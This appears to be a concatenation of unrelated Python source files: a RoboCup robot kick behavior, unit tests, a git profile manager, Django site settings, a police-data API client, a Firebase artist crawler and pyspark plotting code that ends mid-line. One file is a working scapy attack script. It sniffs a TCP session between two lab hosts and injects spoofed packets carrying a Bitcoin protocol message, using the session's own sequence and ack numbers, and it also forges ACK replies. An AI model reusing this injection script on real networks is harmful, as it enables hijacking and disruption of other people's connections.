self.subbehavior_with_name('aim').state == behavior.Behavior.State.failed, 'fumble') self.add_transition( PivotKick.State.aimed, PivotKick.State.capturing, lambda: self.subbehavior_with_name('aim').state == behavior.Behavior.State.failed, 'fumble') self.add_transition( PivotKick.State.kicking, PivotKick.State.capturing, lambda: self.subbehavior_with_name('aim').state == behavior.Behavior.State.failed and not self.robot.just_kicked(), 'fumble') # default parameters self.dribbler_power = constants.Robot.Dribbler.MaxPower self.aim_params = {'desperate_timeout': float("inf")} # The speed to drive the dribbler at during aiming # If high, adds lift to kick # Default: full power # FIXME: defaulting to full power probably isn't the best - the C++ version sais full power in the header then actually used 50. maybe use half speed? @property def dribbler_power(self): return self._dribbler_power @dribbler_power.setter def dribbler_power(self, value): self._dribbler_power = int(value) # if you want to set custom error thresholds, etc to be used during aiming, # set this to a dictionary with the appropriate keys and values # default: {'desperate_timeout': float("inf")} @property def aim_params(self): return self._aim_params @aim_params.setter def aim_params(self, value): self._aim_params = value # The point near the target point that we're currently aimed at, whether we want to be or not # If we kicked right now, the ball would pass through this point def current_shot_point(self): if self.has_subbehavior_with_name('aim'): return self.subbehavior_with_name('aim').current_shot_point() else: return None def is_steady(self): if self.has_subbehavior_with_name('aim'): return self.subbehavior_with_name('aim').is_steady() else: return None def remove_aim_behavior(self): if self.has_subbehavior_with_name('aim'): self.remove_subbehavior('aim') def on_enter_capturing(self): self.remove_aim_behavior() self.robot.unkick() capture = skills.capture.Capture() capture.dribbler_power = self.dribbler_power self.add_subbehavior(capture, 'capture', required=True) # FIXME: tell capture to approach from a certain direction so we're already lined up? def on_exit_capturing(self): self.remove_subbehavior('capture') def set_aim_params(self): aim = self.subbehavior_with_name('aim') aim.target_point = self.aim_target_point aim.dribbler_power = self.dribbler_power for key, value in self.aim_params.items(): setattr(aim, key, value) def execute_running(self): self.recalculate_aim_target_point() super().execute_running() self.robot.set_planning_priority(planning_priority.PIVOT_KICK) def on_enter_aiming(self): if not self.has_subbehavior_with_name('aim'): aim = skills.aim.Aim() self.add_subbehavior(aim, 'aim', required=True) self.set_aim_params() def execute_aiming(self): self.set_aim_params() if isinstance(self.target, robocup.Segment): for i in range(2): main.system_state().draw_line( robocup.Line(main.ball().pos, self.target.get_pt(i)), constants.Colors.Blue, "PivotKick") def on_exit_aiming(self): # we don't remove the 'aim' subbehavior here because if we're going to the # kicking state, we want to keep it around pass def execute_kicking(self): self.set_aim_params() vel = (self.aim_target_point - self.robot.pos).normalized(0.5) self.robot.set_world_vel(vel) if self.use_chipper and self.robot.has_chipper(): self.robot.chip(self.chip_power) else: self.robot.kick(self.kick_power) def on_exit_running(self): self.remove_aim_behavior() def role_requirements(self): reqs = super().role_requirements() for r in role_assignment.iterate_role_requirements_tree_leaves(reqs): # try to be near the ball if main.ball().valid: r.destination_shape = main.ball().pos if self.use_chipper: r.chipper_preference_weight = role_assignment.PreferChipper r.require_kicking = True # Increase the importance of Position to make robots closer to the ball clear it during defense r.position_cost_multiplier = 1.5 return reqs from scapy.all import * #import schedule import time a = " " #os.system("tshark -T fields -e frame.time -e data.data -w bitcoin.pcap > Eavesdrop_Data.txt -F pcap -c 1000") #os.system("tcpdump -i enp0s3 -w bitcoin.pcap") src = "10.0.2.12" dst = "10.0.2.7" sport = " " dport = " " seq = 0 ack = 0 pld_VERSION = '\xf9\xbe\xb4\xd9version\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xf6\xe0\xe2' ip = IP(src = src, dst = dst) #SYN = TCP(sport=sport, dport=dport, flags='S', seq = 1000) #send(ip/SYN) #SYNACK = sr1(ip/SYN) #ACK = TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+1) #send(ip/ACK) count = 0 t_start = time.perf_counter() print("start time") print(t_start) def pkt_callback(pkt): src = "10.0.2.12" dst = "10.0.2.7" sport = " " dport = " " seq = 0 ack = 0 pld_VERSION = '\xf9\xbe\xb4\xd9version\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xf6\xe0\xe2' ip = IP(src = src, dst = dst) #t_start = time.perf_counter() #print("start time") #print(t_start) #if pkt[IP].src == "10.0.2.15" and pkt[IP].dst == "10.0.2.7": #pkt.show() try: if pkt[IP].src == "10.0.2.12" and pkt[IP].dst == "10.0.2.7" and pkt[TCP].payload: pkt.show() t_end = time.perf_counter() t_duration = t_end - t_start print("$$$$$ outbound session, flags:", pkt[TCP].flags) print("!!!duration") print(t_duration) elif pkt[IP].src == "10.0.2.12" and pkt[IP].dst == "10.0.2.7" and pkt[TCP].flags == 16: #L: pkt.show() print("####### outbound session, flags:", pkt[TCP].flags) sport = pkt[TCP].sport dport = pkt[TCP].dport #synchronize the seq and ack if seq < pkt[TCP].seq or seq == pkt[TCP].seq: seq = pkt[TCP].seq #print("$$$seq:", seq) if ack < pkt[TCP].ack or ack == pkt[TCP].ack: ack = pkt[TCP].ack #print("!!!!ack:", ack) #construct the pkt_spoof tcp = TCP(sport=sport, dport=dport, flags='PA', seq=seq, ack =ack) pkt_spoof = ip/tcp/pld_VERSION #print(pkt_spoof) send(pkt_spoof) count = count+1 t_end = time.perf_counter() t_duration = t_end - t_start print(" $p00f scceeds!!!!!!!!!!!!") #print(t_duration) #print(count) print("count: ", count, "duration: ", t_duration) elif pkt[IP].dst == "10.0.2.12" and pkt[IP].src == "10.0.2.7" and pkt[TCP].payload: #pkt.show() print("!!!!!inbound session, flags:", pkt[TCP].flags) sport = pkt[TCP].dport dport = pkt[TCP].sport seq = pkt[TCP].ack ack = pkt[TCP].seq + 35 tcp = TCP(sport=sport, dport=dport, flags='A', seq=seq, ack =ack) pkt_spoof = ip/tcp #print(pkt_spoof) send(pkt_spoof) t_end = time.perf_counter() t_duration = t_end - t_start count = count + 1 #print("count!!!!") #print(count) #print("t_duration") #print(t_duration) print("duration: ", t_duration, "count: ", count) print("!!!!reply ack") except: pass sniff(iface="enp0s3",prn=pkt_callback, filter="tcp", store=1) 1-10 import unittest from src.api.exports.validation_service import ExportValidationService class MyTestCase(unittest.TestCase): def test_validate_export_ok(self): export_params_data = { 'version': 1, 'annee_ref': 2020, 'partages': [ { 'email': '', 'type': 'user', 'permission': 'writer' }, { 'email': '', 'type': 'user', 'permission': 'writer' } ], 'entete': ['Col1', 'Col2', 'Col3'] } validation_errors = ExportValidationService.validate(export_params_data) self.assertEqual(0, len(validation_errors)) def test_validate_export_invalid_shares(self): export_params_data = { 'version': 1, 'annee_ref': 2020, 'partages': [ { 'email': '', 'type': 'user', }, ], 'entete': ['Col1', 'Col2', 'Col3'] } validation_errors = ExportValidationService.validate(export_params_data) self.assertEqual(1, len(validation_errors)) def test_validate_export_invalid_version(self): export_params_data = { 'annee_ref': 2020, 'partages': [ { 'email': '', 'type': 'user', 'permission': 'writer' }, ], 'entete': ['Col1', 'Col2', 'Col3'], 'version': 3, } validation_errors = ExportValidationService.validate(export_params_data) self.assertEqual('version', validation_errors[0]['field']) self.assertEqual(1, len(validation_errors)) # missing annee_max export_params_data['version'] = 2 validation_errors = ExportValidationService.validate(export_params_data) self.assertEqual(1, len(validation_errors)) self.assertEqual('annee_max', validation_errors[0]['field']) if __name__ == '__main__': unittest.main() CabbageDevelopment/gitprof # MIT License # # Copyright (c) 2020 # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import json import os import sys import traceback from dataclasses import dataclass from json import JSONEncoder from os.path import join from typing import List, Any, Dict, Optional from gitprof import os_utils if os_utils.is_windows(): config_dir = os.path.expanduser(r"~\AppData\Local\gitprof") else: config_dir = os.path.expanduser(r"~/.config/gitprof") os.makedirs(config_dir, exist_ok=True) config_file = join(config_dir, "config.json") class ProfileEncoder(JSONEncoder): def default(self, o: Any) -> Any: out = o.__dict__ return out def decode(self, item: Dict) -> "Profile": _dict = json.loads(item) out = [] profiles = _dict.get("profiles") for p in profiles: try: out.append( Profile( p["name"], p["ssh_key"], git_name=p.get("git_name"), git_email=p.get("git_email"), service=p.get("service"), ) ) except: print(f"Warning: bad profile.") return out @dataclass class Profile: name: str ssh_key: str git_name: str git_email: str service: str def __init__( self, name=None, ssh_key=None, git_name=None, git_email=None, service=None ): self.name = name self.ssh_key = ssh_key self.git_name = git_name self.git_email = git_email self.service = service def __str__(self): out = [] for key, value in self.__dict__.items(): if key == "name": continue out.append(f"{key}='{value}'") lines = ",\n".join(f"\t{i}" for i in out) return f"\n{self.name} {{\n{lines}\n}}" @dataclass class Config: profiles: List[Profile] = None def __init__(self): self.load() def load(self): if not os.path.exists(config_file): return with open(config_file, "r") as loaded: text = loaded.read() try: loaded = json.loads(text, cls=ProfileEncoder) except: traceback.print_exc() return self.profiles = loaded def reload(self): self.load() def save(self) -> None: fields = self.get_fields() with open(config_file, "w") as f: json.dump(fields, f, indent=4, cls=ProfileEncoder) def get_fields(self): return self.__dict__ def add_profile(self, profile: Profile): if not self.profiles: self.profiles = [] if profile.name in map(lambda i: i.name, self.profiles): print( f"Cannot create profile '{profile.name}'; a profile with that name already exists." ) return sys.exit(0) self.profiles.append(profile) def __str__(self): out = "" for p in self.profiles: out += f"{p}\n" return out def set_profile(self, profile: Profile) -> None: for index, p in enumerate(self.profiles): if p.name == profile.name: self.profiles[index] = p def get_profile(self, name: str) -> Optional[Profile]: for p in self.profiles or []: if p.name == name: return p def delete_profile(self, profile_name: str) -> None: self.profiles = list(filter(lambda p: p.name != profile_name, self.profiles)) def get_profiles(self) -> List[Profile]: return self.profiles or [] def get_profile_names(self) -> List[Profile]: return list(map(lambda i: i.name, self.get_profiles())) """ Django settings for pydis_site project. Generated by 'django-admin startproject' using Django 2.1. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os import secrets import sys from pathlib import Path import environ import sentry_sdk from sentry_sdk.integrations.django import DjangoIntegration from pydis_site.constants import GIT_SHA env = environ.Env( DEBUG=(bool, False), SITE_DSN=(str, "") ) sentry_sdk.init( dsn=env('SITE_DSN'), integrations=[DjangoIntegration()], send_default_pii=True, release=f"site@{GIT_SHA}" ) # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) DEBUG = env('DEBUG') # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! if DEBUG: ALLOWED_HOSTS = env.list('ALLOWED_HOSTS', default=['*']) SECRET_KEY = "yellow polkadot bikini" # noqa: S105 elif 'CI' in os.environ: ALLOWED_HOSTS = ['*'] SECRET_KEY = secrets.token_urlsafe(32) else: ALLOWED_HOSTS = env.list( 'ALLOWED_HOSTS', default=[ 'pythondiscord.com', 'admin.pythondiscord.com', 'api.pythondiscord.com', 'staff.pythondiscord.com', 'pydis-api.default.svc.cluster.local', ] ) SECRET_KEY = env('SECRET_KEY') # Application definition INSTALLED_APPS = [ 'pydis_site.apps.api', 'pydis_site.apps.home', 'pydis_site.apps.staff', 'pydis_site.apps.resources', 'pydis_site.apps.content', 'pydis_site.apps.events', 'pydis_site.apps.redirect', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.staticfiles', 'django_hosts', 'django_filters', 'django_simple_bulma', 'rest_framework', 'rest_framework.authtoken' ] MIDDLEWARE = [ 'django_hosts.middleware.HostsRequestMiddleware', 'django.middleware.security.SecurityMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django_hosts.middleware.HostsResponseMiddleware', ] ROOT_URLCONF = 'pydis_site.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'pydis_site', 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'builtins': [ 'django_hosts.templatetags.hosts_override', ], 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', "pydis_site.context_processors.git_sha_processor" ], }, }, ] WSGI_APPLICATION = 'pydis_site.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': env.db(), 'metricity': env.db('METRICITY_DB_URL'), } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [os.path.join(BASE_DIR, 'pydis_site', 'static')] STATIC_ROOT = env('STATIC_ROOT', default='/app/staticfiles') STATICFILES_FINDERS = [ 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 'django_simple_bulma.finders.SimpleBulmaFinder', ] # django-hosts # https://django-hosts.readthedocs.io/en/latest/ ROOT_HOSTCONF = 'pydis_site.hosts' DEFAULT_HOST = 'home' if DEBUG: PARENT_HOST = env('PARENT_HOST', default='pythondiscord.local:8000') if ":" in PARENT_HOST: ALLOWED_HOSTS.append(PARENT_HOST.split(":", 1)[0]) else: ALLOWED_HOSTS.append(PARENT_HOST) else: PARENT_HOST = env('PARENT_HOST', default='pythondiscord.com') # Django REST framework # http://www.django-rest-framework.org REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.TokenAuthentication', ), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.DjangoModelPermissions', ), 'TEST_REQUEST_DEFAULT_FORMAT': 'json' } # Logging # https://docs.djangoproject.com/en/2.1/topics/logging/ LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'verbose': { 'format': ( '%(asctime)s | %(process)d:%(thread)d | %(module)s | %(levelname)-8s | %(message)s' ) } }, 'handlers': { 'console': { 'class': 'logging.StreamHandler' } }, 'loggers': { 'django': { 'handlers': ['console'], 'propagate': True, 'level': env( 'LOG_LEVEL', default=( # If there is no explicit `LOG_LEVEL` set, # use `DEBUG` if we're running in debug mode but not # testing. Use `ERROR` if we're running tests, else # default to using `WARN`. 'INFO' if DEBUG and 'test' not in sys.argv else ( 'ERROR' if 'test' in sys.argv else 'WARN' ) ) ) } } } # Custom settings for django-simple-bulma BULMA_SETTINGS = { "variables": { # If you update these colours, please update the notification.css file "primary": "#7289DA", # Discord blurple "green": "#32ac66", # Colour picked after Discord discussion "turquoise": "#7289DA", # Blurple, because Bulma uses this regardless of `primary` above "blue": "#2482c1", # Colour picked after Discord discussion "cyan": "#2482c1", # Colour picked after Discord discussion (matches the blue) "purple": "#aa55e4", # Apparently unused, but changed for consistency "red": "#d63852", # Colour picked after Discord discussion "link": "$primary", "dimensions": "16 24 32 48 64 96 128 256 512", # Possible image dimensions "navbar-height": "4.75rem", "footer-padding": "1rem 1.5rem 1rem", "tooltip-max-width": "30rem", }, "extensions": [ "bulma-dropdown", "bulma-navbar-burger", ], } # Information about site repository SITE_REPOSITORY_OWNER = "python-discord" SITE_REPOSITORY_NAME = "site" SITE_REPOSITORY_BRANCH = "master" # Path for events pages EVENTS_PAGES_PATH = Path(BASE_DIR, "pydis_site", "templates", "events", "pages") # Path for content pages CONTENT_PAGES_PATH = Path(BASE_DIR, "pydis_site", "apps", "content", "resources") # Path for redirection links REDIRECTIONS_PATH = Path(BASE_DIR, "pydis_site", "apps", "redirect", "redirects.yaml") ryankarlos/geospatial import os from geospatial.io.constants import ( FORCES, ID, IGNORED_OUTCOMES, LOCATION, NAME, OUTCOME, URL_CRIME, ) from geospatial.logging_config import logging_config logger = logging_config("io") def get_neighbourhoods(get_request, police_id): url = os.path.join(URL_CRIME, f"{police_id}/neighbourhoods") return get_request(url) def get_stop_search_by_force(get_request, police_id, calls): """ Retrieve stop and search data for a given police force. if date is not provided, returns all stop and search data which have lead to outcomes like arrest, court summons for latest month(s).Also removes any data with no location info """ new_list = [] url = os.path.join(URL_CRIME, f"stops-force?force={police_id}") # url = os.path.join(URL_CRIME, f"stops-force?force={police_id}&date={date}") response = get_request(url, calls) for json in response: if (json.get(OUTCOME) not in IGNORED_OUTCOMES) and ( json.get(LOCATION) is not None ): new_list.append(json) logger.info("Successfully fetched data for latest months") return new_list def get_police_id(func, force_name): """ Get police id and police force names in json """ url = os.path.join(URL_CRIME, FORCES) response = func(url) for json in response: if json.get(NAME) == force_name: police_id = json.get(ID) logger.info(f"Police id for {force_name}:- '{police_id}'") return police_id # if force name not found then raise error raise ValueError(f"{force_name} not found in json response. Check spelling") emrig/w4156-PEAS-Oktave1-10 """ Author: """ import os import sp_search import datetime import environment import json import firebase_admin from firebase_admin import credentials from google.cloud import firestore from firebase_admin import firestore from google.cloud.exceptions import NotFound """ Useful documentation: https://firebase.google.com/docs/reference/admin/python/firebase_admin.db https://github.com/thisbejim/Pyrebase https://firebase.google.com/docs/database/security/indexing-data """ class artist_crawler: def __init__(self): env_data = environment.Data() self.crawler_config = env_data.config['crawlerConfig'] self.init_artists = json.load(open(self.crawler_config['initArtists'])) self.artist_config = env_data.config['databaseConfig']['artist_q']['artist_id'] pyrebase_config = env_data.config['pyrebaseConfig'] cred = credentials.Certificate(pyrebase_config['serviceAccount']) firebase_admin.initialize_app(cred) self.db = firestore.client() self.config = env_data.config['crawlerConfig'] self.search = sp_search.sp_search() self.rerun = False self.rerun_init_time = datetime.datetime.now() def initialize_artist_queue(self): for artist_id in self.init_artists.keys(): add_artist(self.db, 'artist_q', self.init_artists[artist_id], self.artist_config).add() def pop_from_artist_queue(self): # Rerun the queue processor to add artists based on updated configuration if self.rerun: query = self.db.collection(u'artist_q').where(u'get_related_time', u'<', self.rerun_init_time).order_by( u'get_related_time', direction=firestore.Query.ASCENDING).limit(1000) else: query = self.db.collection(u'artist_q').where(u'get_related_time', u'==', 0).order_by( u'index', direction=firestore.Query.ASCENDING).limit(1000) artist_batch = [] docs = query.get() # Process in bulk to save on number of requests made for doc in docs: artist_batch.append(doc.id) for artist_id in artist_batch: if self.push_related_artists(artist_id): ref = self.db.collection(u'artist_q').document(u'{0}'.format(artist_id)) ref.update({u'get_related_time': datetime.datetime.now()}) print("Update: {0} : {1}".format(artist_id, datetime.datetime.now())) def push_related_artists(self, artist_id): related_artists = self.search.artist_related_artist(artist_id)['artists'] count = 0 for artist in related_artists: # Add artist to queue if they do not already exist if add_artist(self.db, 'artist_q', artist, self.artist_config).add(): count += 1 if count == self.config['max_related_artists']: return True return True # Clean up function to add the name of every artist def set_artist_names(self): docs = self.db.collection(u'artist_q').get() artist_batch = [] batch_size = 100 # Process in bulk to save on number of requests made for doc in docs: if 'name' not in doc.to_dict() or 'popularity' not in doc.to_dict(): artist_batch.append(doc.id) count = 0 batch = self.db.batch() for inx, artist_id in enumerate(artist_batch): artist = self.search.single_artist(artist_id) doc_ref = self.db.collection(u'artist_q').document(u'{0}'.format(artist_id)) count += 1 if artist: values = { "name": artist['name'], "popularity": artist['popularity'] } batch.update(doc_ref, values) #result = doc_ref.update(values) print('{0}/{1} update: {2}'.format(inx, len(artist_batch), values)) else: print("{0} not found!".format(artist_id)) if count == batch_size or inx == len(artist_batch)-1: batch.commit() print("Commit!") print(doc_ref.get().to_dict()) batch = self.db.batch() count = 0 class add_artist(artist_crawler): def __init__(self, db, collection, artist, artist_config): env_data = environment.Data() self.crawler_config = env_data.config['crawlerConfig'] self.db = db self.collection = collection self.artist = artist self.artist_id = artist['id'] self.artist_config = artist_config self.artist_config['genres'] = artist['genres'] self.artist_config['name'] = artist['name'] self.artist_config['popularity'] = artist['popularity'] def add(self): filtered_genres = [x for x in self.artist_config['genres'] if x in self.crawler_config['genres_ignore']] if self.artist['popularity'] < self.crawler_config['rating_minimum'] or filtered_genres: return False if not self.exists(): self.artist_config['index'] = self.get_index() self.set() return True else: return False def get_index(self): query = self.db.collection(u'{0}'.format(self.collection)).order_by( u'index', direction=firestore.Query.DESCENDING).limit(1) docs = query.get() for doc in docs: val = doc.to_dict() if val['index'] < self.crawler_config['max_total_artists']: return val['index'] + 1 else: raise NameError('Max Artist Size Reached') return 1 def exists(self): doc_ref = self.db.collection(u'{0}'.format(self.collection)).document(u'{0}'.format(self.artist_id)) try: doc = doc_ref.get() return True except NotFound: return False def set(self): doc_ref = self.db.collection(u'{0}'.format(self.collection)).document(u'{0}'.format(self.artist_id)) doc_ref.set(self.artist_config) print('Set: {0}'.format(self.artist_config)) if __name__ == '__main__': test = artist_crawler() #test.initialize_artist_queue() test.set_artist_names() while(True): test.pop_from_artist_queue() # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import importlib import pandas as pd import numpy as np from pyspark.ml.feature import Bucketizer from pyspark.mllib.stat import KernelDensity # type: ignore[no-redef] from pyspark.sql import functions as F from pandas.core.base import PandasObject from pandas.core.dtypes.inference import is_integer from pyspark.pandas.missing import unsupported_function from pyspark.pandas.config import get_option from pyspark.pandas.spark import functions as SF from pyspark.pandas.utils import name_like_string class TopNPlotBase: def get_top_n(self, data): from pyspark.pandas import DataFrame, Series max_rows = get_option("plotting.max_rows") # Simply use the first 1k elements and make it into a pandas dataframe # For categorical variables, it is likely called from df.x.value_counts().plot.xxx(). if isinstance(data, (Series, DataFrame)): data = data.head(max_rows + 1)._to_pandas() else: raise TypeError("Only DataFrame and Series are supported for plotting.") self.partial = False if len(data) > max_rows: self.partial = True data = data.iloc[:max_rows] return data def set_result_text(self, ax): max_rows = get_option("plotting.max_rows") assert hasattr(self, "partial") if self.partial: ax.text( 1, 1, "showing top {} elements only".format(max_rows), size=6, ha="right", va="bottom", transform=ax.transAxes, ) class SampledPlotBase: def get_sampled(self, data): from pyspark.pandas import DataFrame, Series fraction = get_option("plotting.sample_ratio") if fraction is None: fraction = 1 / (len(data) / get_option("plotting.max_rows")) fraction = min(1.0, fraction) self.fraction = fraction if isinstance(data, (DataFrame, Series)): if isinstance(data, Series): data = data.to_frame() sampled = data._internal.resolved_copy.spark_frame.sample(fraction=self.fraction) return DataFrame(data._internal.with_new_sdf(sampled))._to_pandas() else: raise TypeError("Only DataFrame and Series are supported for plotting.") def set_result_text(self, ax): assert hasattr(self, "fraction") if self.fraction < 1: ax.text( 1, 1, "showing the sampled result by fraction %s" % self.fraction, size=6, ha="right", va="bottom", transform=ax.transAxes, ) class NumericPlotBase: @staticmethod def prepare_numeric_data(data): from pyspark.pandas.series import Series if isinstance(data, Series): data = data.to_frame() numeric_data = data.select_dtypes( include=["byte", "decimal", "integer", "float", "long", "double", np.datetime64] ) # no empty frames or series allowed if len(numeric_data.columns) == 0: raise TypeError( "Empty {0!r}: no numeric data to " "plot".format(numeric_data.__class__.__name__) ) return data, numeric_data class HistogramPlotBase(NumericPlotBase): @staticmethod def prepare_hist_data(data, bins): data, numeric_data = NumericPlotBase.prepare_numeric_data(data) if is_integer(bins): # computes boundaries for the column bins = HistogramPlotBase.get_bins(data._to_spark(), bins) return numeric_data, bins @staticmethod def get_bins(sdf, bins): # 'data' is a Spark DataFrame that selects all columns. if len(sdf.columns) > 1: min_col = F.least(*map(F.min, sdf)) max_col = F.greatest(*map(F.max, sdf)) else: min_col = F.min(sdf.columns[-1]) max_col = F.max(sdf.columns[-1]) boundaries = sdf.select(min_col, max_col).first() # divides the boundaries into bins if boundaries[0] == boundaries[1]: boundaries = (boundaries[0] - 0.5, boundaries[1] + 0.5) return np.linspace(boundaries[0], boundaries[1], bins + 1) @staticmethod def compute_hist(psdf, bins): # 'data' is a Spark DataFrame that selects one column. assert isinstance(bins, (np.ndarray, np.generic)) sdf = psdf._internal.spark_frame scols = [] input_column_names = [] for label in psdf._internal.column_labels: input_column_name = name_like_string(label) input_column_names.append(input_column_name) scols.append(psdf._internal.spark_column_for(label).alias(input_column_name)) sdf = sdf.select(*scols) # 1. Make the bucket output flat to: # +----------+-------+ # |__group_id|buckets| # +----------+-------+ # |0 |0.0 | # |0 |0.0 | # |0 |1.0 | # |0 |2.0 | # |0 |3.0 | # |0 |3.0 | # |1 |0.0 | # |1 |1.0 | # |1 |1.0 | # |1 |2.0 | # |1 |1.0 | # |1 |0.0 | # +----------+-------+ colnames = sdf.columns bucket_names = ["__{}_bucket".format(colname) for colname in colnames] output_df = None for group_id, (colname, bucket_name) in enumerate(zip(colnames, bucket_names)): # creates a Bucketizer to get corresponding bin of each value bucketizer = Bucketizer( splits=bins, inputCol=colname, outputCol=bucket_name, handleInvalid="skip" ) bucket_df = bucketizer.transform(sdf) if output_df is None: output_df = bucket_df.select( SF.lit(group_id).alias("__group_id"), F.col(bucket_name).alias("__bucket") ) else: output_df = output_df.union( bucket_df.select( SF.lit(group_id).alias("__group_id"), F.col(bucket_name).alias("__bucket") ) ) # 2. Calculate the count based on each group and bucket. # +----------+-------+------+ # |__group_id|buckets| count| # +----------+-------+------+ # |0 |0.0 |2 | # |0 |1.0 |1 | # |0 |2.0 |1 | # |0 |3.0 |2 | # |1 |0.0 |2 | # |1 |1.0 |3 | # |1 |2.0 |1 | # +----------+-------+------+ result = ( output_df.groupby("__group_id", "__bucket") .agg(F.count("*").alias("count")) .toPandas() .sort_values(by=["__group_id", "__bucket"]) ) # 3. Fill empty bins and calculate based on each group id. From: # +----------+--------+------+ # |__group_id|__bucket| count| # +----------+--------+------+ # |0 |0.0 |2 | # |0 |1.0 |1 | # |0 |2.0 |1 | # |0 |3.0 |2 | # +----------+--------+------+ # +----------+--------+------+ # |__group_id|__bucket| count| # +----------+--------+------+ # |1 |0.0 |2 | # |1 |1.0 |3 | # |1 |2.0 |1 | # +----------+--------+------+ # # to: # +-----------------+ # |__values1__bucket| # +-----------------+ # |2 | # |1 | # |1 | # |2 | # |0 | # +-----------------+ # +-----------------+ # |__values2__bucket| # +-----------------+ # |2 | # |3 | # |1 | # |0 | # |0 | # +-----------------+ output_series = [] for i, (input_column_name, bucket_name) in enumerate(zip(input_column_names, bucket_names)): current_bucket_result = result[result["__group_id"] == i] # generates a pandas DF with one row for each bin # we need this as some of the bins may be empty indexes = pd.DataFrame({"__bucket": np.arange(0, len(bins) - 1)}) # merges the bins with counts on it and fills remaining ones with zeros pdf = indexes.merge(current_bucket_result, how="left", on=["__bucket"]).fillna(0)[ ["count"] ] pdf.columns = [input_column_name] output_series.append(pdf[input_column_name]) return output_series class BoxPlotBase: @staticmethod def compute_stats(data, colname, whis, precision): # Computes mean, median, Q1 and Q3 with approx_percentile and precision pdf = data._psdf._internal.resolved_copy.spark_frame.agg( *[ F.expr( "approx_percentile(`{}`, {}, {})".format(colname, q, int(1.0 / precision)) ).alias("{}_{}%".format(colname, int(q * 100))) for q in [0.25, 0.50, 0.75] ], F.mean("`%s`" % colname).alias("{}_mean".format(colname)), ).toPandas() # Computes IQR and Tukey's fences iqr = "{}_iqr".format(colname) p75 = "{}_75%".format(colname) p25 = "{}_25%".format(colname) pdf.loc[:, iqr] = pdf.loc[:, p75] - pdf.loc[:, p25] pdf.loc[:, "{}_lfence".format(colname)] = pdf.loc[:, p25] - whis * pdf.loc[:, iqr] pdf.loc[:, "{}_ufence".format(colname)] = pdf.loc[:, p75] + whis * pdf.loc[:, iqr] qnames = ["25%", "50%", "75%", "mean", "lfence", "ufence"] col_summ = pdf[["{}_{}".format(colname, q) for q in qnames]] col_summ.columns = qnames lfence, ufence = col_summ["lfence"], col_summ["ufence"] stats = { "mean": col_summ["mean"].values[0], "med": col_summ["50%"].values[0], "q1": col_summ["25%"].values[0], "q3": col_summ["75%"].values[0], } return stats, (lfence.values[0], ufence.values[0]) @staticmethod def outliers(data, colname, lfence, ufence): # Builds expression to identify outliers expression = F.col("`%s`" % 